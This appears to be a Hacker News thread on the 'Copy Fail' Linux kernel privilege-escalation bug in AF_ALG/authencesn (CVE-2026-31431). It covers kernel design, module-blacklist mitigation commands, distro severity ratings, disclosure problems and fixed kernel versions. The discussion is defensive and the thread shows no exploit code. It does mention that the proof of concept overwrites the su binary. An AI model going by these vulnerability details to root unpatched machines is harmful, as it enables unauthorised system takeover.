Copy Fail

(copy.fail)

1262 points by unsnap_biceps22 hours ago

73 comments

  • ebiggers16 hours ago
    As someone who works on the Linux kernel&#x27;s cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It&#x27;s very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it&#x27;s almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel&#x27;s cryptography code is just for in-kernel users (for example, dm-crypt).<p>The algorithm being used in this exploit, &quot;authencesn&quot;, is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en&#x2F;decryption API.<p>If you&#x27;re in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it&#x27;s already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.<p>I don&#x27;t think there&#x27;s much other option. This sort of userspace API might have been <i>sort of</i> okay many years ago. But it just doesn&#x27;t stand up in a world with syzbot, LLM-assisted bug discovery, etc.
    • still_grokking15 hours ago
      As I did not know what AF_ALG is in the first place I&#x27;ve searched for it and found this here:<p><a href="https:&#x2F;&#x2F;www.chronox.de&#x2F;libkcapi&#x2F;html&#x2F;ch01s02.html" rel="nofollow">https:&#x2F;&#x2F;www.chronox.de&#x2F;libkcapi&#x2F;html&#x2F;ch01s02.html</a><p>It states the following:<p>&gt; There are several reasons for AF_ALG:<p>&gt; * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode &#x2F; supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.<p>&gt; * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application&#x27;s memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.<p>&gt; * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.<p>I can&#x27;t judge whether this is a good justification, but there is one.
      • p_l9 hours ago
        AF_ALG if I remember correctly predates userspace-accessible crypto acceleration and was way more important back when it meant you had actual need for &quot;SSL accelerator&quot; cards in servers, among other things
      • ryukoposting5 hours ago
        Hi, embedded firmware engineer here. I give it a B-<p>There&#x27;s a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you&#x27;ve got the right nerd running the show.<p>So you have serious compute needs, and security concerns that justify virtual memory. But you <i>don&#x27;t</i> have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.<p>And yet, I&#x27;ve never heard of AF_ALG. I&#x27;ve never seen it used. The thing is, if you have some bizzaro softcore, there&#x27;s a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you&#x27;re going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn&#x27;t have a gigantic attack surface.
      • buckle801714 hours ago
        You should take note that this is written by the person that wrote the bad patch.<p>So grain of salt.
        • still_grokking14 hours ago
          I&#x27;ve said I&#x27;m not sure about the validity of that reasoning.<p>I&#x27;ve liked it nevertheless for context, as augmentation to parent&#x27;s post.
        • asveikau12 hours ago
          I feel like it should be possible to fulfill these advantages with a minimal, not very complex API. I.e. the grandparent&#x27;s comment about IPsec implementation details doesn&#x27;t make the cut, but a hardware accelerated cipher implementation does.
        • mihaaly7 hours ago
          But is it true or not? Whoever wrote it. (for objective truth the subjects are unimportant)
          • buckle80173 hours ago
            It might have been true in 2002 but it hasn&#x27;t been true since at least about 2010.<p>You&#x27;ve almost certainly never had a system that supported any hardware accelerated crypto that also required a kernel module.<p>It&#x27;s much easier to expose as cpu extensions.
          • skywhopper6 hours ago
            When you can’t know the objective truth or when there isn’t one (as is the case in making decisions about security tradeoffs in software design), knowing the source of the argument is vital to interpreting its validity.
            • bawolff3 hours ago
              I disagree 100%. Software security tradeoffs are definitely the sort of thing where you can evaluate arguments on their merits.
    • buredoranna13 hours ago
      Please don&#x27;t rely on my judgement for this being safe for production, but after blacklisting the modules, the provided python exploit failed.<p>Check if the following are modules<p><pre><code> grep CONFIG_CRYPTO_USER_API &#x2F;boot&#x2F;config-$(uname -r) </code></pre> If they are, you can try blacklisting them<p><pre><code> &#x2F;etc&#x2F;modprobe.d&#x2F;blacklist-crypto-user-api.conf &quot;&quot;&quot; blacklist af_alg blacklist algif_hash blacklist algif_skcipher blacklist algif_rng blacklist algif_aead install af_alg &#x2F;bin&#x2F;false install algif_hash &#x2F;bin&#x2F;false install algif_skcipher &#x2F;bin&#x2F;false install algif_rng &#x2F;bin&#x2F;false install algif_aead &#x2F;bin&#x2F;false &quot;&quot;&quot; update-initramfs -u </code></pre> Can anyone comment on the ramifications this?
      • ebiggers13 hours ago
        If iwd, or cryptsetup with certain non-default algorithms, isn&#x27;t being used on the system, you should be fine. Not many programs use AF_ALG. It&#x27;s possible there are others I&#x27;m not aware of, but it&#x27;s quite rare.<p>To be clear, general-purpose Linux distros generally can&#x27;t disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don&#x27;t need this functionality.<p>A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
        • 400thecat11 hours ago
          is CONFIG_CRYPTO_USER_API needed for hw acceleration for cryptsetup (dm-crypt) disk encryption ?
          • ebiggers11 hours ago
            No, dm-crypt just calls the kernel&#x27;s crypto code directly.
      • Milpotel9 hours ago
        Or<p><pre><code> zgrep CONFIG_CRYPTO_USER_API &#x2F;proc&#x2F;config.gz</code></pre>
      • strenholme11 hours ago
        I can’t comment on the ramifications, except to note that elsewhere in the thread this appears to not break anything (whether it makes userspace crypto a little less safe is academic, but that doesn’t matter if we have an easy local root shell), but I can verify the above fix does protect Ubuntu 24.04 from the exploit.<p>Just reboot after applying this change.
      • globular-toast8 hours ago
        Is it built as a module in most distros?
        • dsr_3 hours ago
          It is built as a module in Debian.<p>lsmod shows it is not loaded on any of the Trixie or Bookworm machines I have checked, Intel or AMD.
          • tomxor11 minutes ago
            FYI it&#x27;s dynamically loaded on demand, so lsmod will show it after you try run the exploit, or you can explicitly load it with:<p><pre><code> modprobe algif_aead </code></pre> The following mitigation (from the article) does work for Debian 12 and 13, I&#x27;ve tested this:<p><pre><code> echo &quot;install algif_aead &#x2F;bin&#x2F;false&quot; &gt; &#x2F;etc&#x2F;modprobe.d&#x2F;disable-algif.conf rmmod algif_aead 2&gt;&#x2F;dev&#x2F;null || true </code></pre> First line blocks it from loading, second line is unloading it if it&#x27;s already been loaded. You can test with the same &quot;modprobe algif_aead&quot;.
    • alpn15 hours ago
      For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)&#x2F;write(2) calls for hashing and encryption.
      • dnnddidiej12 hours ago
        I wonder can the kernel just remove it and distros put on a compatiability layer.
        • TheDong11 hours ago
          It&#x27;s already a configurable option in the kernel which can be fully disabled by distros if they wanted to provide their own compatibility layer, or just not ship any software that has a hard dependency on it.
          • adrian_b6 hours ago
            I always use only custom compiled kernels on my computers, where I enable only the configuration options that I really need.<p>So the options related to AF_ALG have always been disabled, because I have not encountered an application that needs them, among those that I use.<p>Unfortunately the Linux distributions must enable in their default configuration most options, because they cannot predict what their users will need.
    • wolttam1 hour ago
      I love this. I think everyone in software should be feeling a tinge of “we should trim the fat” right now - get rid of as much of the old and infrequently used&#x2F;tested code as we can. Push users towards the better tested alternatives.
    • l1k12 hours ago
      It does enable address space separation of secret keys from user space, which some people love:<p><a href="https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;the-linux-kernel-key-retention-service-and-why-you-should-use-it-in-your-next-application&#x2F;" rel="nofollow">https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;the-linux-kernel-key-retention-s...</a><p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=7djRRjxaCKk" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=7djRRjxaCKk</a><p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=lvZaDE578yc" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=lvZaDE578yc</a><p>So it&#x27;s not as simple as &quot;should not exist&quot;. I agree though that there doesn&#x27;t seem to be a valid need to expose authencesn to user space.<p>Disclosure: I&#x27;m co-maintaining crypto&#x2F;asymmetric_keys&#x2F; in the kernel and the author&#x2F;presenter in the first two links is another co-maintainer.
      • ebiggers12 hours ago
        That can be done in userspace too -- different userspace processes have different address spaces too.<p>The fact that the first link recommends using keyctl() for RSA private keys is also &quot;interesting&quot;, given that the kernel&#x27;s implementation of RSA isn&#x27;t hardened against timing attacks (but userspace implementations of RSA typically are).
        • ngomez12 hours ago
          The CloudFlare blog discusses that idea when they talk about having an &quot;agent process&quot; to hold cryptographic material, but they list drawbacks like having to develop two processes, implement a well-defined interface, and enforce ACLs. I&#x27;m not convinced that &quot;developing two processes&quot; is a reason not to do it, since the kernel is effectively just the second process now, but everything else makes sense.<p>It&#x27;s unfortunate though since this is one thing I think Windows does decently well. The Windows crypto and TLS APIs do use a key isolation process by default (LSASS) and have a stable interface for other processes to use it [0]. I imagine systemd could implement something similar, but I also know that there are very strong opinions about adding more surface area to systemd.<p>[0] <a href="https:&#x2F;&#x2F;blackhat.com&#x2F;docs&#x2F;us-16&#x2F;materials&#x2F;us-16-Kambic-Cunning-With-CNG-Soliciting-Secrets-From-SChannel.pdf" rel="nofollow">https:&#x2F;&#x2F;blackhat.com&#x2F;docs&#x2F;us-16&#x2F;materials&#x2F;us-16-Kambic-Cunni...</a>
          • lostmsu4 hours ago
            TBH LSASS is privileged enough to be a good target for exploits.
        • l1k11 hours ago
          &gt; the kernel&#x27;s implementation of RSA isn&#x27;t hardened against timing attacks<p>Cloudflare is using custom BoringSSL-based crypto code in the kernel:<p><a href="https:&#x2F;&#x2F;lore.kernel.org&#x2F;all&#x2F;CALrw=nEyTeP=6QcdEvaeMLZEq_pYB9WO=vFt2K2FuJ1TEmP1Lg@mail.gmail.com&#x2F;" rel="nofollow">https:&#x2F;&#x2F;lore.kernel.org&#x2F;all&#x2F;CALrw=nEyTeP=6QcdEvaeMLZEq_pYB9W...</a>
      • 400thecat8 hours ago
        can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
        • l1k7 hours ago
          As Eric has correctly stated above, we believe iwd (Intel Wireless Daemon), or rather the ell library it relies on (Embedded Linux Library) is the only relatively widespread user space application relying on it.
        • XorNot6 hours ago
          Isn&#x27;t the better argument to ask whether there&#x27;d be benefit if all those things did?<p>A lack of adoption isn&#x27;t apriori a good argument against an interface, and serious bugs can happen anywhere.<p>My personal opinion for a while has been that crypto operations <i>should</i> be in the kernel so we can end the madness that is every application shipping it&#x27;s own crypto and trust system which has only gotten worse since containers were invented.
          • acdha3 hours ago
            &gt; My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it&#x27;s own crypto and trust system which has only gotten worse since containers were invented.<p>There’s a valid argument here but I think that’d devolve into the DNSSec trap without both a very well-designed API and a stable way to ship updates for older kernels. If people can’t get good user experience or have to force kernel upgrades to improve security, most applications will avoid it. Things like Chrome shipping their own crypto mean that they can very quickly ship things like PQC without waiting years or having to deal with issues like kernel n+1 having unrelated driver or performance issues which force things into a security vs. functionality fight.
            • XorNot2 hours ago
              Which does sort of loop around to the issue of Linux not having a stable ABI as a feature I suppose which would be one way to implement it with long term compatibility on kernel modules.<p>But the Chrome example also highlights the problem: Chrome might ship it, but vanishingly little software is ever going to upgrade and we&#x27;ve got an explosion of statically linked languages now.
          • bawolff3 hours ago
            &gt; A lack of adoption isn&#x27;t apriori a good argument against an interface<p>I mean it kind of is (perhaps not a priori, but why is that relavent?). If something is not being used, its not meeting needs, so its just increasing attack surfaces without benefit.
    • SeriousM10 hours ago
      I was completely unaware of <a href="https:&#x2F;&#x2F;syzbot.org" rel="nofollow">https:&#x2F;&#x2F;syzbot.org</a>, thanks for sharing!<p>&gt; syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.
    • eqvinox14 hours ago
      The primary benefit of AF_ALG is IMHO when it&#x27;s combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.<p>To steal from the sibling post:<p>&gt; * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application&#x27;s memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]<p>It&#x27;s even more than this: you can do crypto ops in user space <i>without ever even having the key to begin with</i>.<p>[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]<p>[Ed.#2: that said^2, I&#x27;m putting this one on authencesn, not AF_ALG. It&#x27;s the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, &quot;network packet on PCIe memory&quot; or something like that - I&#x27;m speculating, though.]
      • ebiggers13 hours ago
        It doesn&#x27;t seem to actually get used that way in practice. ALG_SET_KEY_BY_KEY_SERIAL didn&#x27;t even appear until just a few years ago. And either way, if the interface allows you to overwrite the su binary, whether it theoretically could provide some other security benefit becomes kind of irrelevant.
        • eqvinox13 hours ago
          It is being used that way:<p><a href="https:&#x2F;&#x2F;github.com&#x2F;opensourcerouting&#x2F;frr&#x2F;blob&#x2F;2b48e4f97fb02133f3a09db067dc8249ed41e968&#x2F;lib&#x2F;keyctl.c#L593" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;opensourcerouting&#x2F;frr&#x2F;blob&#x2F;2b48e4f97fb021...</a><p>And, sure, if it breaks system security it&#x27;s pointless. But so did &quot;dirty pipe&quot;.<p>I do agree the number of issues in AF_ALG is annoying, which is why I suggested a CAP_* restriction. Maybe CAP_SYS_ADMIN in init_ns, that&#x27;s kinda the big hammer.
      • angry_octet14 hours ago
        Better implemented as another user space process than in the kernel.
        • eqvinox13 hours ago
          You can&#x27;t access TPMs that way.
          • angry_octet12 hours ago
            Most of the Linux kernel crypto is not touching the TPM. If there is a TPM task, only that code should be in kernel, and it should be accessed from user space by a process with the appropriate token.
            • eqvinox12 hours ago
              Yes, AF_ALG is exposing too many things, like authencesn, which has zero reason for being userspace accessible. It&#x27;s a crypto mode specific to IPsec.<p>However,<p>&gt; it should be accessed from user space by a process with the appropriate token.<p>That <i>is</i> AF_ALG. The <i>operations</i> it offers are what you need for full coverage. The issues with it are two:<p>- usage specific crypto in the kernel implements the same interfaces, and it doesn&#x27;t have a filter for that, as mentioned above. It&#x27;s not offering too many operations, it&#x27;s offering too many algorithms.<p>- it&#x27;s trying to be fast. I guess people also want to use crypto accelerators through it. (Which is kinda related to TPMs, there is accelerator hardware with built-in protected key storage...)<p>The CVE we&#x27;re looking at here is in the intersection of both of these.
              • angry_octet6 hours ago
                All the uses of vmsplice etc are a bit tricky, and that points to the need for a better interface. But given you&#x27;re using splice, why not do the crypto in user space? A belief that it is better to be fast and buggy than safe and slower?
                • eqvinox5 hours ago
                  If neither a hardware component nor kernel key management is involved, crypto should be done in userspace, end of sentence.<p>The more I think about it, the more I think it should be behind CAP_SYS_ADMIN, or a new CAP_KCRYPT (better name TBD. CAP_CRYPT_OFFLOAD?)
                  • angry_octet3 hours ago
                    Yes it should definitely require a capability.<p>Still a risk that some admin-enabled method (like enabling an IPsec VPN) provides a path to it, but would reduce the potential for crafting weird inputs.
                  • angry_octet3 hours ago
                    I&#x27;m also wondering if it couldn&#x27;t be rewritten to use io_uring interfaces.
          • kasabali10 hours ago
            Good
            • eqvinox5 hours ago
              Cheesecake<p>Now, is your comment contributing more to this discussion, or mine?
          • wetpaws13 hours ago
            [dead]
    • tosti10 hours ago
      I think it would be reasonable to deprecate af_alg in favor of a character device. It&#x27;s more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that&#x27;s fair. But I don&#x27;t think a &quot;regular&quot; device node would cover the functionality userland expects.<p>That said, elsewhere ITT it&#x27;s pointed out there are only a few use cases so far.
    • dev_l1x_be5 hours ago
      Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?
      • ButlerianJihad5 hours ago
        The design philosophy of mainstream Linux distros is not like OpenBSD.<p>Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of &quot;shovelware&quot; that is unnecessarily installed with your base system. A lot of services are enabled that you don&#x27;t need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.<p>All this maximizing also increases the system&#x27;s attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.<p>With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it&#x27;s up to the user to dig in, customize it, and add in features that are needed.<p>The good news is that you can do some after-market hardening. Uninstall software that you&#x27;re not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.<p>There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
        • dev_l1x_be3 hours ago
          Thanks for the explanation. I am wondering if it is possible or does it make sense to have a modular linux that does not have these attack surfaces enabled by default. Alpine is my default solution for most Linux use cases (except when I need GPU support).
          • tosti3 hours ago
            Not &quot;by default&quot;, but still Gentoo. My USE= is several lines worth of -this -that -all-the-things. I got rid of wayland, pipewire, pulseaudio, avahi and a shitload of other stuff I don&#x27;t need.<p>PulseAudio applications can still produce (but not record) audio through apulse and my handcrafted asoundrc
    • Fr0styMatt8815 hours ago
      How did it get in? Isn’t Linus known for being rightfully fussy about what makes it into the kernel?<p>Would be an interesting story.
      • kasabali10 hours ago
        Linus has had been fussy about maybe like 5% of the things because even then he couldn&#x27;t keep up with the sheer volume. Nowadays it&#x27;s more like 1‰
    • KnuthIsGod10 hours ago
      Removing this will make the friendly spooks at NSA very sad....
      • tosti3 hours ago
        No, it&#x27;d make <i>me</i> sad. If they&#x27;re lurking in there and we can do without, I&#x27;m happy to always have my own .config<p>If this gets removed, they&#x27;ll creep in somewhere we can&#x27;t find them for a while.
    • WhyNotHugo3 hours ago
      iwd requires CONFIG_CRYPTO_USER_API_AEAD, so disabling this would break Wi-Fi for a lot of people.
    • anabis11 hours ago
      Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits era will likely make projects more wary to adding functions.
    • TZubiri1 hour ago
      YAGNI stocks are rising, Gentoo devs that compile their own kernel probably yeeted this module. Alpine, and MUSL deviants are probably immune to this downswing.<p>DRY looking very bearish, do repeat yourself, do build your own, do use userspace tools even if the kernel has its own version. Not as big a hit on the DRY philosophy as those pip and npm supply chain attacks last couple of weeks though.<p>KISS remains unaffected for the time being.
    • 400thecat8 hours ago
      can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
    • sidewndr4615 hours ago
      any idea what software this will break once I turn this kernel configuration off?
      • ebiggers14 hours ago
        iwd is the main culprit (for systems that use it instead of wpa_supplicant).<p>I think cryptsetup &#x2F; LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.<p>There&#x27;s not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.
    • m3nu4 hours ago
      What other kernel modules would you suggest disabling that aren&#x27;t used usually?
  • xeeeeeeeeeeenu20 hours ago
    It seems there was some kind of confusion during the disclosure process, because the vendors aren&#x27;t treating this vulnerability as serious and it remains unpatched in many distros.<p><a href="https:&#x2F;&#x2F;access.redhat.com&#x2F;security&#x2F;cve&#x2F;cve-2026-31431" rel="nofollow">https:&#x2F;&#x2F;access.redhat.com&#x2F;security&#x2F;cve&#x2F;cve-2026-31431</a> &quot;Moderate severity&quot;, &quot;Fix deferred&quot;<p><a href="https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431</a><p><a href="https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;CVE-2026-31431</a><p><a href="https:&#x2F;&#x2F;www.suse.com&#x2F;security&#x2F;cve&#x2F;CVE-2026-31431.html" rel="nofollow">https:&#x2F;&#x2F;www.suse.com&#x2F;security&#x2F;cve&#x2F;CVE-2026-31431.html</a>
    • MarleTangible20 hours ago
      Seems like distros consider it a medium risk because it doesn&#x27;t involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.<p><a href="https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;cves&#x2F;about#priority" rel="nofollow">https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;cves&#x2F;about#priority</a><p>&gt; Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
      • oskarkk20 hours ago
        Strange that it&#x27;s not classified as &quot;high&quot;, which specifically includes &quot;local root privilege escalations&quot;.<p>&gt; High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
        • amarant18 hours ago
          It is high now, someone at canonical is paying attention it seems
      • markhahn11 hours ago
        if your model is that linux is just about single-user desktops, this local exploit isn&#x27;t too bad. or if your model is nothing but DB servers or the like.<p>mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1&#x2F;10,000 of them are curious&#x2F;malicious&#x2F;compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.<p>but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress&#x2F;etc to drop and execute a script? yep.
        • edelbitter1 hour ago
          Ubuntu is not really targeting multi-user any more. Security update installation is deliberately delayed for all users, until at some point all unprivileged users ended all processes launched from the vulnerable snap image. (Firefox RPC breaks when you replace the binary, so having to reopen your browser to keep opening tabs simple because security upgrades were applied in the background would be inconvenient)
        • CGamesPlay9 hours ago
          &gt; if your model is that linux is just about single-user desktops, this local exploit isn&#x27;t too bad.<p>For example, if you have passwordless sudo, you&#x27;ve already got a widely known LPE vulnerability lurking on your system.
          • dwedge7 hours ago
            Only for your user, and it means a keylogger on the system if it gets rooted can&#x27;t pull your password to try on other machines. Personally I always either login as root or use passwordless sudo.
            • XorNot6 hours ago
              Yubikeys are also surprisingly annoying when setup for the as well. A working developer just needs sudo a lot.<p>Realistically a &quot;sudo button&quot; would be handy, on the keyboard, with a display to show a confirmation pin for the request (probably also needs a deny button so you can try and identify weird ones).
              • parliament321 hour ago
                Sounds like a good use case for that new Copilot button you see on newer keyboards.
              • IshKebab1 hour ago
                You don&#x27;t even need a button. Just a secure dialog like Windows has.
              • Pay0858 minutes ago
                I mean, that&#x27;s what you have pinentry for.
          • oviet8 hours ago
            hmm have i missed anything?
            • OvervCW7 hours ago
              Any program on your computer can just run &quot;sudo&quot; to escalate itself.
              • hk__22 hours ago
                The problem is not the passwordless sudo but running untrusted programs on your computer under your user. They don’t need sudo to steal your SSH keys or inject malicious code in your .bashrc.
        • AntiUSAbah3 hours ago
          Not to bad? So we just threat linux overall as a single user system or what?
      • dwedge7 hours ago
        Local access is a bit of a misnomer though, a vulnerable website can be tricked into running a script
      • daveoc6418 hours ago
        Ubuntu seems to have updated the page to say that it&#x27;s a high priority now.
      • mghackerlady18 hours ago
        it&#x27;s not like this couldn&#x27;t be chained with some other exploit to get remote access to get remote root access which seems like a bit of an issue
    • stefanor36 minutes ago
      As far as we can tell, nobody disclosed it to the distributions, only to the kernel security team (who did not reach out to distributions). So the distributions are all scrambling now.<p>Good lesson in how not to do disclosure.
      • baggy_trough14 minutes ago
        Why wouldn&#x27;t the kernel security team reach out to distributions?
    • staticassertion15 hours ago
      It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn&#x27;t communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).
      • still_grokking15 hours ago
        Will this continue like that even when the prophesied Mythos Vulnocalypse hits the Kernel?<p>This stance doesn&#x27;t seem sustainable any more to me.
        • staticassertion15 hours ago
          The response from Greg was that Mythos proved that upstream was right all along and that they&#x27;ll continue to do things the same way. That&#x27;s my recollection, at least - pretty sure it was something like that, could have been even worse though and I&#x27;m misremembering.<p>The stance was never sustainable, hence linux LPEs being constantly available. The solution is to treat your kernel as impossible to secure. Notably, gvisor users are not impacted by this CVE. Seccomp also kills this CVE.
          • still_grokking15 hours ago
            How about SELinux, like on Android?
            • fuomag94 hours ago
              selinux on enforcement mode did not mitigate the exploit when I tested today on fedora coreos :(
            • nromiun11 hours ago
              To even get the su binary on Android you have to patch the OS. So this exploit can&#x27;t work on Android. Because there is no su binary to target.<p>Update: Just tried it on Termux and as expected even creating an AF_ALG socket requires root access.
              • staticassertion7 hours ago
                The specific exploit payload for the POC relies on a su binary. The vuln is ambivalent and other non-su paths will exist.
                • nromiun2 hours ago
                  Of course, but it does not matter as the entire AF_ALG module is forbidden by SELinux anyway (on Android).
                  • staticassertion1 hour ago
                    That&#x27;s fine and a very separate reason why it would not be exploitable, also assuming that the module is not just compiled in since then loading it would be irrelevant.
            • staticassertion14 hours ago
              I assume that wouldn&#x27;t help here but I could easily be wrong. (Assuming if you&#x27;re asking if SELinux would block this exploit).
    • DooMMasteR2 hours ago
      Yeah, it was also staged for release on the affected kernel branches a while ago, but almost all still had the window open and only tonight got the merged across all maintained kernel versions.<p>It&#x27;s not good... and surely not &quot;responsible&#x2F;planned&quot; disclosure.
    • wangman18 hours ago
      RedHat has also changed it to &quot;Important severity&quot; and &quot;Affected&quot; now.
    • AntiUSAbah3 hours ago
      I&#x27;m schocked that ubuntu is aware of this and the prv lts is not patched yet :|<p>wtf
    • Neil447 hours ago
      I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.
    • Tuna-Fish20 hours ago
      Yeah, by ubuntu&#x27;s own guidelines linked on that page, this should be priority: high, but instead it&#x27;s marked as medium.
      • no-name-here13 hours ago
        That was fixed, it’s now marked high.
    • baggy_trough2 hours ago
      The upstream stable kernels (6.12.85, etc.) are out now with the fixes.
  • arcfour15 hours ago
    It&#x27;s unfortunate that this does not include which versions of the kernel are vulnerable&#x2F;patched, especially since this is a builtin module which cannot be easily removed with rmmod...<p>I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: <a href="https:&#x2F;&#x2F;lore.kernel.org&#x2F;linux-cve-announce&#x2F;2026042214-CVE-2026-31431-3d65@gregkh&#x2F;T&#x2F;#u" rel="nofollow">https:&#x2F;&#x2F;lore.kernel.org&#x2F;linux-cve-announce&#x2F;2026042214-CVE-20...</a> which says:<p><pre><code> ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237 ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 </code></pre> Hope that helps.
    • noisy_boy51 minutes ago
      Thanks for this - I was wondering why I got the password prompt on my Fedora 43 with latest packages.
    • hnarn10 hours ago
      most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.
    • baggy_trough2 hours ago
      Greg KH says more backports coming soon.<p><a href="https:&#x2F;&#x2F;openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2026&#x2F;04&#x2F;30&#x2F;12" rel="nofollow">https:&#x2F;&#x2F;openwall.com&#x2F;lists&#x2F;oss-security&#x2F;2026&#x2F;04&#x2F;30&#x2F;12</a>
  • jeffwass9 hours ago
    This submission is currently the main HN submission.<p>As of now the submission title is simply “Copy Fail”.<p>Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?<p>Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
    • ramon1568 hours ago
      I dont really get why you&#x27;d<p>- buy a domain<p>- vibe code a page&#x2F;artifact&#x2F;whatever (which, given the quality of LLM wordings, only makes an argument less strong)<p>- post it on HN with no further explanation in the title<p>Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??<p>Sorry if this comes over as salty, I guess I&#x27;m just not getting the thought process.
      • petcat4 hours ago
        &gt; I dont really get why you&#x27;d buy a domain [...] Even a tweet makes much more sense in my head than this<p>I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.
      • stingraycharles7 hours ago
        I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.
        • otherme1234 hours ago
          I hope they sell a lot of Xint Code licenses, so they don&#x27;t have to sell their findings.
          • Orygin4 hours ago
            Considering they kinda botched the disclosure to Linux distros, I guess they wanted something most sensational to sell more licenses.
            • eddythompson8020 minutes ago
              How did they botch the disclosure to distros?
      • eddythompson808 hours ago
        Maybe it’s tradition <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7548991">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7548991</a>
      • staticassertion6 hours ago
        Where would you have them write a detailed report if not a website?
      • throwaway54655 hours ago
